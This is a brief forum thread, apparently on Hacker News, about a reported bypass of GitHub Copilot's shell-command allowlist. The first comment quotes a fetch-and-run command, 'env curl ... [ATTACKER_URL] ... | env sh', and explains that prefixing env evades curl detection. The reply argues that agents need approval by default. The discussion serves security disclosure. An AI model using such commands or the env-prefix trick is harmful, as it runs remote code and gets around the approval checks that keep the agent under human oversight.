|
|
|
|
|
by yellow_lead
112 days ago
|
|
Skip to here: > However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms: > env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh So GH Copilot restricts curl, but not if it's run with `env` prepended. |
|
Seems nuts to have env or find on the default allowlist to me! Really these agents shouldn't be able to execute anything at all without approval by default, if you want to give it something like "find" or "env" to do safe things without approval, reimplement the functionality you want as a tool that can't do arbitrary code execution.